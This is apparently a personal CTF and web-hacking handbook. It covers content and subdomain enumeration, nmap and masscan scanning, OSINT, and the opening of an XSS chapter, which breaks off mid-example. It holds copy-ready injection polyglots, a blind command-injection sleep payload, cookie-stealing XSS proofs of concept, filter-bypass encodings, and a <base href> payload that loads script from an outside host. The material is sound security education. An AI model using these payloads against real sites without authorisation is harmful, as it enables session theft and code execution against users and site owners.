# Home - Practical CTF

A large collection of my notes for Capture The Flag (CTF) challenges and Hacking Techniques

:clipboard: Contains lots of copy-paste-ready commands/scripts to get things done quickly

:brain: I aim to explain as much as possible how and why the attack works

:man\_technologist: Inspired by [HackTricks](https://book.hacktricks.xyz/welcome/readme) but in my style, and including all the experiences I've had

{% hint style="warning" %}
This book won't ever be 'done' as I will keep updating it while I learn stuff. You can\
![](/files/PwC51B56c6Vz4FrVmgiV)[**Watch**](https://github.com/JorianWoltjer/practical-ctf/commits/main.atom) the *RSS feed* on my GitHub repository to see every change that happens!
{% endhint %}

## Motivation

I make a lot of writeups on my blog where I explain how I solved a specific fun challenge. This is often to explain to others, but also partly to look back on if I remember *that* I have done something, but not exactly *how*.

{% embed url="<https://jorianwoltjer.com/blog>" %}
My blog where I post CTF writeups, and general Hacking-related things
{% endembed %}

This book aims to be a big **encyclopedia** of everything I know about hacking. That way I can always look back at this book if I have done something before, without needing a full challenge with a writeup. Everything is written by myself unless specified otherwise.

Get started by choosing a topic on the left sidebar, or search for anything in the top right!


# Enumeration

Find all content and functionality on a website, to get an idea of the attack surface. Often through fuzzing

## Find Content

For a quick recursive map of a website the `feroxbuster` tool has great defaults. While it uses a medium-sized wordlist to test for non-404-like responses, it also parses links and directory listings in responses to discover even more content. While it does not have much customization for a scan, it's great for a first scan if you need something quick:

{% embed url="<https://github.com/epi052/feroxbuster>" %}
Feroxbuster: A fast, simple, recursive content discovery tool written in Rust
{% endembed %}

```shell-session
feroxbuster -u http://example.com
```

For **more control** over your scan, `ffuf` is a great choice. It allows you to easily create your own rules for exactly how the website should be fuzzed, like *where* inputs are placed, *what* is put there, and *how* a good response is defined.

{% embed url="<https://github.com/ffuf/ffuf>" %}
Highly customizable web fuzzer that is fast and simple to use
{% endembed %}

Check out [FFUF.me](http://ffuf.me/) for a **great tutorial** on how to use various options in the tool.

<pre class="language-shellscript" data-title="Examples" data-overflow="wrap"><code class="lang-shellscript"># # Simplest example, using a wordlist at the start of a path and auto-calibrating
<strong>$ ffuf -u http://example.com/FUZZ -w common.txt -ac
</strong># # Probe for unknown virtual hosts on a domain by changing the Host header
<strong>$ ffuf -u http://example.com/ -H 'Host: FUZZ.example.com' -w subdomains.txt
</strong># # Find parameters that alter the response
<strong>$ ffuf -u http://example.com/?FUZZ=1 -w parameters.txt
</strong># # Use payload fuzzing to do less guesswork, for example Path Traversal
<strong>$ ffuf -u http://example.com/?page=FUZZ -w path-traversal.txt
</strong>
# # POST with JSON data and fuzz value, filtered on 'error' RegEx
<strong>$ ffuf -X POST -u http://example.com/ -H 'Content-Type: application/json' -d '{"name": "FUZZ", "anotherkey": "anothervalue"}' -fr 'error' -w values.txt
</strong># # Fuzz multiple parameter and values at the same time, matching reflected values
<strong>$ ffuf -u http://example.com/?PARAM=VAL -w params.txt:PARAM -w values.txt:VAL -mr "VAL"
</strong># # POST form data using command substitution for a 1-100 sequence of IDs
<strong>$ ffuf -X POST -u http://example.com/ -H 'Content-Type: application/x-www-form-urlencoded' -d 'id=FUZZ&#x26;action=view' -fs 1341 -w &#x3C;(seq 1 100)
</strong></code></pre>

{% hint style="info" %}
There is also a `ffuf` module in my [default ](https://github.com/JorianWoltjer/default)tool!

<pre class="language-shellscript"><code class="lang-shellscript"><strong>default ffuf content http://example.com/
</strong><strong>default ffuf param http://example.com/page
</strong><strong>default ffuf vhost example.com
</strong>
<strong>default ffuf auto example.com  # An attempt at combining content and vhost
</strong></code></pre>

{% endhint %}

### Wordlists

Good results come from good wordlists. You also don't want to wait weeks for a scan to complete, so a short but packed wordlist is often the best choice, while this depends on your test. The SecLists repository is a collection of many such wordlists for all kinds of purposes, including [discovering web content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content):

{% embed url="<https://github.com/danielmiessler/SecLists>" %}
Collection of different types of wordlists from usernames and passwords to web content and payloads
{% endembed %}

* [`common.txt`](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common.txt):\
  4715 common web **paths** (small), **alphabetically** ordered
* [`raft-large-files.txt`](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-large-files.txt) & [`raft-large-directories.txt`](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-large-directories.txt):\
  \~100.000 total **files** and **directories** (large), ordered by **count**
* [`subdomains-5000.txt`](https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-5000.txt):\
  top 5000 **subdomains** (small), ordered by **count**

Another more recent resource is the *autogenerated* wordlists from Assetnote:

{% embed url="<https://wordlists.assetnote.io/>" %}
Autogenerated wordlists for all kinds of scenario's in web content fuzzing
{% endembed %}

### Find Technologies

{% embed url="<https://www.wappalyzer.com/>" %}
Browser Extension to detect the front- and backend technologies used by a website
{% endembed %}

## Passively Find Content

As opposed to the brute-force methods shown above, most public websites get indexed many times by search engines and other services. We can use these to find content that was indexed, but not easily findable in the results by creating complex queries.

### Googling

Google search indexes lots of web pages and makes them easily searchable. This is nice for us web testers because we can ask it for pages from a certain site, and gives us lots of results. We can also ask for more specific and obscure results.

One simple way to ensure we only get pages on the target domain is to use the `site:` keyword. Simply put your domain in there to only find results on that host.

> **site:gitbook.com**

Then we can add things like `ext:` to specify the **file extension** of the webpage.

> site:gitbook.com **ext:pdf**

Another useful trick is the `-` sign. Use this with any keyword to **exclude** any results that match that word.

> site:gitbook.com ext:pdf **-files.gitbook.com**

#### Viewing Cache

When looking at a result from your query, you might find a page that has some interesting content in the description but appears offline when you click the link. Google has a previous (cached) version of the site with the content, but right now you can only see a preview.

To view it, you can click the ![](/files/yTREDgx8jwhI11gx717k) three dots after the result, press the ![](/files/9DopMj6ru2oKhndsSK0u) arrow down, and view **Cached**. Another way to manually do this for *any URL* is by prefixing it with `cache:`, for example:

> cache:<https://gitbook.com/about>

### Internet Archive: [Wayback Machine](http://web.archive.org/)

A more powerful version of a search engine cache is the Wayback Machine, which archives snapshots of websites at specific times. If a website was changed, or some information was removed, it can often still be found using this tool. Simply search for a URL and you'll find a calendar full of snapshots to choose from.

There may be a lot of snapshots and different pages. To analyze the results there are a few options like **Changes** which track changes in the HTML code delivered to the browser, show you at what points the biggest changes happened, and use the `@` icons to compare them. This way you won't have to search endlessly to find *that one* snapshot where the page changed.

![](/files/wmZP6mbitb8SXkdgsh5I)

Another useful option is **URLs** which lists all known URLs in a table where you can search. The [`waybackurls`](https://github.com/tomnomnom/waybackurls) tool can also extract all these URLs for you to analyze locally with more tools and can be a very effective way of finding many pages with parameters too.

```bash
cat domains.txt | waybackurls | tee wayback-urls.txt
```

## Fuzzing Inputs / Polyglots

Here is a polyglot payload I made of a few different **injection** attacks with various pieces of syntax. If any part of this payload is **removed, transformed or causes errors** on the target, you might have injected something and it is worth reverse engineering what part of the payload caused it to see if it is exploitable ([**url-encoded**](https://gchq.github.io/CyberChef/#recipe=URL_Encode\(true\)\&input=fDo8dT48Pz0tLT4iXCIxJ1wnYWBcYC8uLi9dJHt7PTwlWyUlPScifX0lc3swfSkmZ3Q7JTBkJTBhJUMwJThhJTNDxLzhvqjihKrwn5Go4oCN8J%2BSu0ENCgBc\&ieol=CRLF\&oeol=CRLF), [**JSON**](https://gchq.github.io/CyberChef/#recipe=Escape_string\('Special%20chars','Double',true,false,false\)\&input=fDo8dT48Pz0tLT4iXCIxJ1wnYWBcYC8uLi9dJHt7PTwlWyUlPScifX0lc3swfSkmZ3Q7JTBkJTBhJUMwJThhJTNDxLzhvqjihKrwn5Go4oCN8J%2BSu0ENCgBc\&ieol=CRLF)):

{% code title="Generic Payload" %}

```
|:<u><?=-->"\"1'\'a`\`/../]${{=<%[%%='"}}%s{0})&gt;%0d%0a%C0%8a%3CļᾨK👨‍💻A
%00\
```

{% endcode %}

Here is another specifically for **blind command injection** that tries to work in as many different contexts as possible with filter bypasses. If the application waits for any multiple of 5 seconds, it has likely worked and you can try more targeted payloads ([url-encoded](https://gchq.github.io/CyberChef/#recipe=URL_Encode\(true\)\&input=LyokKHNsZWVwIDUpYHNsZWVwIDVgYCovLXNsZWVwKDUpLScvKiQoc2xlZXAgNSlgc2xlZXAgNWAgIyovLXNsZWVwKDUpfHwnInx8c2xlZXAoNSl8fCIvKmAqLwpzbGVlcCA1), [JSON](https://gchq.github.io/CyberChef/#recipe=Escape_string\('Special%20chars','Double',true,false,false\)\&input=LyokKHNsZWVwIDUpYHNsZWVwIDVgYCovLXNsZWVwKDUpLScvKiQoc2xlZXAgNSlgc2xlZXAgNWAgIyovLXNsZWVwKDUpfHwnInx8c2xlZXAoNSl8fCIvKmAqLwpzbGVlcCA1)):

{% code title="Blind Command Injection" %}

```
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
sleep 5
```

{% endcode %}

For less attack-focused fuzzing it is sometimes useful to find **what characters are allowed** to give you ideas on possible bypasses. Python's `string.printable` variable contains all printable ASCII characters. You can input this string and see if anything is blocked. If you only get a simple "error" message, you can use binary search to remove half of the payload and see what character causes the error (keep in mind that there may be multiple) ([url-encoded](https://gchq.github.io/CyberChef/#recipe=Unescape_string\(\)URL_Encode\(true\)\&input=MDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVohIiMkJSZcJygpKissLS4vOjs8PT4/QFtcXF1eX2B7fH1%2BIFx0XG5cclx4MGJceDBj), [JSON](https://gchq.github.io/CyberChef/#recipe=Unescape_string\(\)Escape_string\('Special%20chars','Double',true,false,false\)\&input=MDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVohIiMkJSZcJygpKissLS4vOjs8PT4/QFtcXF1eX2B7fH1%2BIFx0XG5cclx4MGJceDBj)):

<pre class="language-python" data-overflow="wrap"><code class="lang-python">>>> import string
>>> string.printable
<strong>'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&#x26;\'()*+,-./:;&#x3C;=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'
</strong></code></pre>


# Finding Hosts & Domains

Find domain names and hosts relating to a company

{% hint style="info" %}
Note that using these techniques you might find lots of root domains, not all of which might be in scope of the program. Before testing a website you should verify if you are allowed to test it.
{% endhint %}

### IP Ranges

Most decently big companies have claimed IP ranges for their services. These regions are specified and sent to everyone to make sure they don't get taken by another company. This means that we can look up a company name, and find all the IP ranges they claimed.

Using [bgp.he.net](https://bgp.he.net/) we can search for a company name and find results:

![BGP search for GitHub showing IP ranges](/files/XOXgXcT0W2NELUk2qmkr)

### Reverse Lookup from ASN using [`amass`](https://github.com/OWASP/Amass)

In the search for IP ranges in the previous part, you might also find the Autonomous System number (found in the result column as 'AS####'). This number is very useful as it defines a single company that owns multiple IP ranges.\
If you can find this number for your target, you can use `amass intel` to **reverse lookup** these IPs and find all domain names in this range:

```bash
amass intel -asn 36459 | tee domains.txt
```

## Finding Subdomains

There are lots of techniques to find subdomains, from finding links in HTML/JavaScript, to scraping them from public sources, or even brute force. Here are a few common techniques.

### Linked (spidering)

Sometimes subdomains get used and loaded when visiting a website of the target. You could manually look through the requests, and click around on the websites to find unique subdomains that get used. But this is a lot of work, that can be automated.

With the [`gospider`](https://github.com/jaeles-project/gospider) tool we can visit a URL and grab all links from the HTML and Javascript files. There is even a **depth** option (`-d`) to recursively search for more pages on the results:

```bash
gospider -s https://gitbook.com --subs -d 2
```

This will give results in the format:

> \[robots] - <https://gitbook.com/webinar\\>
> \[robots] - <https://gitbook.com/webinars/\\>
> \[url] - \[code-200] - <https://www.gitbook.com/\\>
> \[subdomains] - <http://www.gitbook.com\\>
> \[subdomains] - <https://www.gitbook.com\\>
> \[subdomains] - <http://docs.gitbook.com\\>
> \[subdomains] - <https://docs.gitbook.com\\>
> \[subdomains] - <http://blog.gitbook.com>

As you can see there is the `[subdomains]` category that contains URLs to all unique subdomains it found (only with `--subs`). We can grab these results with some Regular Expressions to add to our clean subdomains list. [This regex](https://regexr.com/6g2ch) looks for any lines starting with `[subdomains]` and takes only the domain name (without protocol):

```regex
\[subdomains\] - https?:\/\/(.+(\..+)+)
```

If we combine these two, we can find all subdomains in a list, crawled recursively from URLs:

<pre class="language-shellscript" data-overflow="wrap"><code class="lang-shellscript"><strong>$ gospider -s https://gitbook.com --subs -d 2 cat subs.txt | grep -F '[subdomains]' | cut -d'/' -f3 | sort -u | tee linked-subdomains.txt
</strong>www.gitbook.com
docs.gitbook.com
blog.gitbook.com
</code></pre>

### Scraping

There are many more ways to find subdomains that other scanners have found. There are databases full of subdomains that you can query, but going by them one by one every time is very time-consuming.

Luckily there is an awesome tool called `subfinder` that aims to automate this process, with many different open-source techniques. Doing a simple `-d` for the domain, and `-o` for the output file, you can quickly get a big list of subdomains.

```bash
subfinder -d gitbook.com -o scraped-subdomains.txt
```

{% embed url="<https://github.com/projectdiscovery/subfinder>" %}
Automatically scrape many collections of subdomains
{% endembed %}

#### [Certificate Transparency](/web/enumeration/osint#certificate-transparency)

#### Google Search

Google indexes many websites in its search feature. We can use the powerful query options to find subdomains as well as URLs. We'll start off by searching for just the target domain ([link](https://www.google.com/search?q=site%3Agitbook.com)):

> **site:gitbook.com**

This already gives a few subdomains in the results:

```
docs.gitbook.com
jobs.gitbook.com
developer.gitbook.com
policies.gitbook.com
www.gitbook.com
```

Apart from these, the rest of the results are mostly the same. Luckily, Google Search has a feature to exclude these from the results, ensuring we only get new results! We make a new query ([link](https://www.google.com/search?q=site%3Agitbook.com+-site%3Adocs.gitbook.com+-site%3Ajobs.gitbook.com+-site%3Adeveloper.gitbook.com+-site%3Apolicies.gitbook.com+-site%3Awww.gitbook.com)):

> site:gitbook.com **-site:docs.gitbook.com -site:jobs.gitbook.com -site:developer.gitbook.com -site:policies.gitbook.com -site:[www.gitbook.com](http://www.gitbook.com)**

It looks for more results and excludes the previous domains. Now we get some more obscure ones:

```
changelog.gitbook.com
app.gitbook.com
enterprise-registry.gitbook.com
legacy.gitbook.com
```

We can keep going and add these to our exclusions, to get even more new results. Do this until nothing is found anymore. You'll be surprised by how many subdomains you can find just using a simple search engine.

### Brute Force

The fastest way to try many different possible subdomains is to have lots of DNS resolvers we can ask at once. This way we distribute the requests to many different hosts and we can go much faster than just asking one all the time.

First, we'll need a list of public DNS resolvers. Luckily there is a handy list publicly available here:

{% embed url="<https://public-dns.info/nameservers.txt>" %}
List of public online DNS resolvers
{% endembed %}

A problem with this list though, is the fact that these servers can be *DNS cache poisoned*. This means the domain names might be wrong and give false positives. But there is a tool called [`dnsvalidator`](https://github.com/vortexau/dnsvalidator) that can validate all resolvers on this list, and filter out any cache poisoned ones. Simply run the tool like this to get a list of verified resolvers:

```bash
dnsvalidator -tL https://public-dns.info/nameservers.txt -threads 20 -o resolvers.txt
```

{% hint style="warning" %}
**Note**: `dnsvalidator` might take a while to do its job. You can increase the number of threads but this also increases the risk of getting detected for attacking the DNS infrastructure and getting blocked. I suggest not going above 100 threads
{% endhint %}

Now that we have a bunch of resolvers, we can give [`puredns`](https://github.com/d3mondev/puredns) a list of names to test on the domain. Assetnote has a big list that contains almost 10 million possible subdomain names.

{% embed url="<https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt>" %}
Wordlist of many possible subdomains
{% endembed %}

With a bunch of resolvers, this big number of subdomains can be scanned surprisingly quickly. Using `puredns bruteforce` we can pass in the wordlist and all the resolvers:

{% code overflow="wrap" %}

```bash
puredns bruteforce best-dns-wordlist.txt gitbook.com -r resolvers.txt -w brute-subdomains.txt
```

{% endcode %}

## Confirming Status

All of these domains we found might not actually have any content on them though (false positives). We could manually check all these domains, but that would take a while. The [`httpx`](https://github.com/projectdiscovery/httpx) tool can automate this process and quickly find all online domains after sending a simple request. It accepts a list of URLs or domains as input, which most tools can do:

```bash
subfinder -d gitbook.com -silent | httpx -silent | tee online-subdomains.txt
```


# Masscan

Use masscan to asynchronously scan for open ports at incredible speeds, then later analyze the results with other tools

{% embed url="<https://github.com/robertdavidgraham/masscan>" %}
Asynchronous high-speed TCP port scanner
{% endembed %}

### Find open ports

The options masscan uses are very similar to nmap. It accepts a subnet or individual host as a target, and using the `-p` syntax you can provide a list, range or all ports using `-p-`. Then the output formats like `-oX` for XML or `-oJ` for JSON are useful when parsing the results with other tools afterwards.

{% code title="Example" %}

```bash
sudo masscan 192.168.1.0/24 -p- --rate 100000 -oX out.xml
```

{% endcode %}

### Convert output to nmap format

Because masscan uses its own version of the XML output format, some tools won't work with this kind of output. To convert the masscan XML to nmap XML, we need to do two things:

1. Optionally: change the ownership from the output file from root to our current user
2. Remove the comment line `<!-- masscan v1.0 scan -->`

```bash
sudo chown $USER:$(id -gn) $1
sed -i '/<!-- masscan v1.0 scan -->/d' $1
```


# Nmap

Network scanning tool with enumeration script to get detailed information about TCP/UDP ports, and the underlying system

## Description

{% embed url="<https://nmap.org/>" %}

Nmap's main use case is **finding open TCP ports**, but while doing so, it can do much more.

```bash
nmap [options] 10.10.10.10
```

Some useful options include (see `man nmap` and [docs ](https://nmap.org/book/man.html)for more details):

* `-sV`, `-O`: Software versions, OS detection
* `-sC`: Run default safe [scripts](https://nmap.org/book/nse-usage.html)
* `-Pn`, `-n`: Disable ping, disable DNS resolution
* `-sS`, `-T4`: Stealth scan (half connections, but requires `sudo`), faster scanning speed
* `-oN [filename]`: [Output](https://nmap.org/book/man-output.html) to file
* Situational options:
  * `-p [ports]`: Specify comma-separated or ranges of ports (`-p-` = all ports)
  * `-sU`: Scan UDP instead of TCP (slower and often inconsistent)
  * `-vv`: Verbose output while scan is running, seeing open ports before completion
  * `10.10.10.0/24`: Subnets in target field

<pre class="language-shellscript" data-title="Examples" data-overflow="wrap"><code class="lang-shellscript"># Scan all TCP ports with all enumeration options, disabling unnecessary features
<strong>sudo nmap -sV -O -sC -Pn -n -sS -T4 -oN nmap.txt -p- -vv 10.10.10.10
</strong># Scan top 100 UDP ports relatively quickly with enumeration
<strong>sudo nmap -Pn -n -sV -sC -O -vv -oN nmap-udp.txt --top-ports 100 -sU --version-intensity 0 -T4 10.10.10.10
</strong></code></pre>

{% hint style="info" %}
**Tip**: While running, there are a few useful [keybinds](https://nmap.org/book/man-runtime-interaction.html) to alter your scan:

* `v`: Increase verbosity
* `[any]`: Print status update
  {% endhint %}

{% hint style="warning" %}
**Tip**: Nmap is a binary that *cannot* simply be copied over to a compromised machine to scan from there, not even when compiled statically. It requires some folders for services and scripts which it cannot find and won't run.

The solution is to copy these folders over too, like done in the [`nmap-static-binaries`](https://github.com/opsec-infosec/nmap-static-binaries/tree/master/linux/x86_64) repository. After transferring this folder you can run `./nmap`
{% endhint %}


# OSINT

Open Source INTelligence: Abusing public information

## Account Finding

When you have a username of someone and want to find more information about that username, you can try to search for that username on different social media platforms. There are also a few tools that do this for you on a lot of websites quickly.

A popular CLI tool is [sherlock](https://github.com/sherlock-project/sherlock), where you can simply provide a username and see all the accounts that were found:

```shell-session
sherlock USERNAME [USERNAMES ...]
```

Another tool I have found to be very useful is the following site:

{% embed url="<https://whatsmyname.app/>" %}
Username lookup site that requests over 500 sites in a few seconds
{% endembed %}

The above web tool also shows some Google search results, as a bonus. These can be useful in finding more details about a username, and what it is associated with.

## Certificate Transparency

Certificate Transparency (CT) can be a useful tool as it provides a publicly accessible log of all issued SSL certificates for websites, including information about the **domain names** associated with the certificate. Some databases collect these logs and make them able to be queried, like Censys:

{% embed url="<https://platform.censys.io/search?q=cert.fingerprint_sha256%3A+>\*" %}
The Certificate Transparency search page from Censys that allows complex queries
{% endembed %}

### Subdomains

Very often when setting up a new subdomain the owner will have to register a new certificate for it. Simply put in a query to Censys with a pattern like `.gitbook.com` follows to get all the subdomains of a certain root domain:

{% code title="gitbook.com subdomains" %}

```sql
cert.fingerprint_sha256: * and cert.names: ".gitbook.com" 
```

{% endcode %}

{% hint style="warning" %}
Note that these queries can take some time, as there is a lot of data to query through. Just be a little patient with these services.
{% endhint %}


# Client-Side

Attacks on the browser, often involving the victim landing on an attacker's site


# Cross-Site Scripting (XSS)

Inject JavaScript code on victims to perform actions on their behalf

## # Related Pages

{% content-ref url="/pages/LRsZdzzcQ7PahGUFDJCO" %}
[JavaScript](/languages/javascript)
{% endcontent-ref %}

{% content-ref url="/pages/TPP9qH7lQ74LNCeeuTZr" %}
[HTML Injection](/web/client-side/cross-site-scripting-xss/html-injection)
{% endcontent-ref %}

{% content-ref url="/pages/VWzKtXk8syAguhuJ1sNB" %}
[Content-Security-Policy (CSP)](/web/client-side/cross-site-scripting-xss/content-security-policy-csp)
{% endcontent-ref %}

{% content-ref url="/pages/BPqAjXuzn7BmE0rGBTC3" %}
[postMessage Exploitation](/web/client-side/cross-site-scripting-xss/postmessage-exploitation)
{% endcontent-ref %}

## Description

Cross-Site Scripting (XSS) is a very broad topic, but it revolves around one idea: executing malicious JavaScript. This is often from an attacker's site, hence "Cross-Site" scripting. A common distinction made between types of XSS is:

* **Reflected XSS**: Inject HTML as some content from a parameter that is *reflected* directly on the target page. This payload is not stored and is seen only if the malicious URL is visited
* **Stored XSS**: Store a payload somewhere, which is later loaded insecurely which places the injected HTML directly onto the page. The difference here is that the payload is saved on the server side in some way, and is later retrieved by a victim
* **DOM XSS**: A special variant not using HTML, but rather the **D**ocument **O**bject **M**odel (DOM) in JavaScript code itself. When malicious data ends up in JavaScript "sinks" that are able to execute code, such as `location = "javascript:..."`, the payload is triggered via the DOM. The payload may still be either reflected or stored, but it is often called DOM XSS

The most basic form of XSS looks like this. Imagine a page that takes some parameter as input, and reflects it back in the response without any filtering:

```php
<?php echo $_GET["html"];
```

The intention might be that we can write some styled code like `<b>hello</b>` to write in **bold**, but instead, an attacker can use a tag like `<script>` to include JavaScript code:

```html
http://example.com/page?html=<script>alert(document.cookie)</script>
```

This will place the `document.cookie` value (all your Cookies, like session tokens) in a simple `alert()` box that pops up on your screen. This is a common proof-of-concept to show an attacker is able to access and possibly exfiltrate a user's cookies in order to impersonate them.

## Contexts

There are a few different places where your input might end up inside HTML to create dynamic pages. Here are a few common ones for example:

{% code title="Tag context" %}

```html
<p>INJECTION_HERE</p>
```

{% endcode %}

{% code title="Attribute context" %}

```html
<img src="INJECTION_HERE">
```

{% endcode %}

{% code title="Script context" %}

```html
<script>
    let a = "INJECTION_HERE";
</script>
```

{% endcode %}

Depending on the **context**, you will need different syntax to do the following steps:

1. Escape the original code, by closing tags (eg. `</textarea>`) or strings (`"` or `'`)
2. Write the JavaScript payload that will execute
3. Possibly fixing the rest of the code that normally comes after, to prevent errors

For the **Attribute context** as an example, we could exploit it by 1. Escaping by starting with a `"` that will close off the string, then 2. Add our own attribute like `onerror=alert()` to execute a function when the image fails to load, and finally 3. Close off the last quote by ending with something meaningless like `x="` that will be closed by a quote. Altogether it could look like this:

<pre class="language-html"><code class="lang-html">&#x3C;img src="INJECTION_HERE">
<strong>Payload: " onerror=alert() x="
</strong>&#x3C;img src="" onerror=alert() x="">
</code></pre>

When this is rendered to the page, the image with `src=""` will likely fail to load as the current page is not an image. Then the `onerror=` handler is triggered to pop an alert box open, and the tag is closed cleanly. This is the basic idea for all JavaScript Injections. The following sections will explore the various contexts in more detail.

### HTML Injection

With zero protections, the simplest-to-understand injection is:

```html
<script>alert()</script>
```

This starts JavaScript syntax using the `<script>` tag, and executes the `alert()` function. There are however a few caveats that will result in this payload *not always working*. The most important is the difference between **server-inserted** code and **client-inserted** code.\
When the server inserts your script into the HTML, the browser doesn't know any better and trusts the code so it will be run as if it is part of the first original page.\
When instead the code is possibly fetched and then inserted by some other client-side JavaScript code like `element.innerHTML = "<script>..."`, it will be inserted after the document has already loaded, and follow some different rules. For one, inline scripts like these **won't** execute directly, as well as some other elements that are not directly loaded after they have been inserted into the DOM.

Because of the above reasons, it is often a safer idea to use a common payload like:

```html
<img src onerror=alert()>
```

The special thing about this payload is that an image should be loaded, which the browser really wants to do as soon as it is inserted, even on the client side. This causes the `onerror=` handler to instantly trigger consistently, no matter how it is inserted (read more details in [#triggers](#triggers "mention")).\
In some cases a common variation is the following:

<pre class="language-html"><code class="lang-html">&#x3C;!-- Shortest payload -->
<strong>&#x3C;svg onload=alert()>
</strong>&#x3C;!-- Short but universal -->
<strong>&#x3C;style onload=alert()>
</strong></code></pre>

The small difference between these two payloads is that the first works everywhere except **Firefox client-inserted**, and the second works everywhere while remaining relatively short.

#### Special Tags

When inserted into the content of a `<textarea>`, JavaScript code won't be directly executed in any way. Therefore you need to first close this specific tag using `</textarea>`, and then continue with a regular XSS payload like normal.

<pre class="language-html"><code class="lang-html">&#x3C;!-- Doesn't execute -->
&#x3C;textarea>&#x3C;img src onerror=alert()>&#x3C;/textarea>
&#x3C;!-- Does execute! -->
<strong>&#x3C;textarea>&#x3C;/textarea>&#x3C;img src onerror=alert()>&#x3C;/textarea>
</strong></code></pre>

#### Common Filter Bypasses

While the above are simple, they are also the most common, and many filters already recognize these patterns as malicious and block or sanitize your payload in some way that will try to make it safe. This topic is explored more in [#filter-bypasses](#filter-bypasses "mention"), but a few of the best tricks are displayed here. The first is when a RegEx pattern like `<[^>]>` expects a `>` to close a tag, which can be omitted often because another future tag will close it for you:

{% code title="Payload" %}

```html
<style onload=alert() x=
```

{% endcode %}

{% code title="Context" %}

```html
<p><style onload=alert() x=</p>
```

{% endcode %}

It is common for dangerous tags to be blacklisted, and any event handler attributes like `onload` and `onerror` to be blocked. There are some payloads however that can *encode* data to hide these obligatory strings (`&#110;` = HTML-encoded `n`, [CyberChef](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity\(true,'Numeric%20entities'\)\&input=bg)):

<pre class="language-html" data-overflow="wrap"><code class="lang-html">&#x3C;!-- Dynamically set href= attribute using SVG animation, with "javascript:" partially in attribute value -->
<strong>&#x3C;svg>&#x3C;a>&#x3C;animate attributeName=href dur=5s repeatCount=indefinite keytimes=0;0;1 values="https://example.com?&#x26;semi;javascript:alert(origin)&#x26;semi;0" />&#x3C;text x=20 y=20>XSS&#x3C;/text>&#x3C;/a>
</strong>
&#x3C;!-- Using iframe srcdoc= attribute to include encoded HTML -->
<strong>&#x3C;iframe srcdoc="&#x26;lt;img src=1 o&#x26;#110;error=alert(1)&#x26;gt;">&#x3C;/iframe>
</strong>
&#x3C;!-- Link requiring user interaction with javascript: URL -->
<strong>&#x3C;a href="&#x26;#106aVaS&#x26;#99riPt:alert()">Click me!&#x3C;/a>
</strong>
&#x3C;!-- Using lesser-known src= and data= attributes, also with codebase= -->
<strong>&#x3C;iframe src="javascript:alert(origin)">&#x3C;/embed>
</strong><strong>&#x3C;embed src="javascript:alert(origin)">&#x3C;/embed>
</strong><strong>&#x3C;object data="javascript:alert(origin)">&#x3C;/object>
</strong></code></pre>

One last payload is a less well-known tag called `<base>` which takes an `href=` attribute that will decide where any **relative URLs will start** from. If you set this to your domain for example, and later in the document a `<script src="/some/file.js">` is loaded, it will instead be loaded from **your website** at the path of the script.

<pre class="language-html"><code class="lang-html"><strong>&#x3C;base href=//xss.jorianwoltjer.com>
</strong>
&#x3C;!-- Any normal relative script after this payload will be taken from the base -->
&#x3C;script src="/some/file.js">
&#x3C;!-- ^^ Will fetch 'http://xss.jorianwoltjer.com/some/file.js' instead! -->
</code></pre>

{% hint style="info" %}
To exploit and show a proof of concept of the above trick, I set up [xss.jorianwoltjer.com](https://xss.jorianwoltjer.com/) which returns the same script for **every path** with any payload you put into that **URL hash**. This means you can include this injection anywhere, and put a JavaScript payload after the `#` symbol of the target URL which will then be executed:\
<http://example.com/path#alert(document.domain)>
{% endhint %}

See [#filter-bypasses](#filter-bypasses "mention") for a more general approach for making your own bypass.

In case you really can't get a full-blown XSS, check out what other impactful things you may be able to do with [#html-injection](#html-injection "mention").

#### Alternative Impact

**Styles** using CSS can also be dangerous. Not only to restyle the page, but with selectors and URLs any secrets on the page like CSRF tokens or other private data can be exfiltrated. For details on exploiting this, see [this introduction](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d), an [improved version using `@import`](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b), and finally [this tool](https://github.com/d0nutptr/sic).

### Attribute Injection

While [#html-injection](#html-injection "mention") is easy when you are injecting directly into a tag's contents, sometimes the injection point is inside a tag's attribute instead:

```html
<img src="INJECTION_HERE">
<img src='INJECTION_HERE'>
<img src=INJECTION_HERE>
```

This is a blessing and a curse because it might look harder at first, but this actually opens up some new attack ideas that might not have been possible before. Of course, the same HTML Injection idea from before works just as well, if we close the attribute and start writing HTML:

<pre class="language-html"><code class="lang-html"><strong>Payload: ">&#x3C;style onload=alert()>
</strong>&#x3C;img src="">&#x3C;style onload=alert()>">
</code></pre>

However, this is not always possible as the `<` and `>` characters are often HTML encoded like `&lt;` and `&gt;` to make them represent data, not code. This would not allow us to close the `<img>` tag or open a new tag to add an event handler to, but in this case we don't need it! Since we are already in an `<img>` tag, we can simply add an attribute to *it* with a JavaScript event handler that will trigger:

<pre class="language-html"><code class="lang-html"><strong>Payload: " onerror=alert() x="
</strong>&#x3C;img src="" onerror=alert() x="">
</code></pre>

The same goes for `'` single quotes and no quotes at all, which just need spaces to separate attributes. Using the [PortSwigger XSS Cheat Sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) you can filter for possible triggers of JavaScript using attributes on your specific tag by filtering it and looking at the payloads. Some of these will require some user interaction like `onclick=`, but others won't.\
A useful trick with `<input>` tags specifically is the `onfocus=` attribute, together with the `autofocus` attribute which will combine to make it into a payload not requiring user interaction.

<pre class="language-html"><code class="lang-html">&#x3C;input value="INJECTION_HERE">
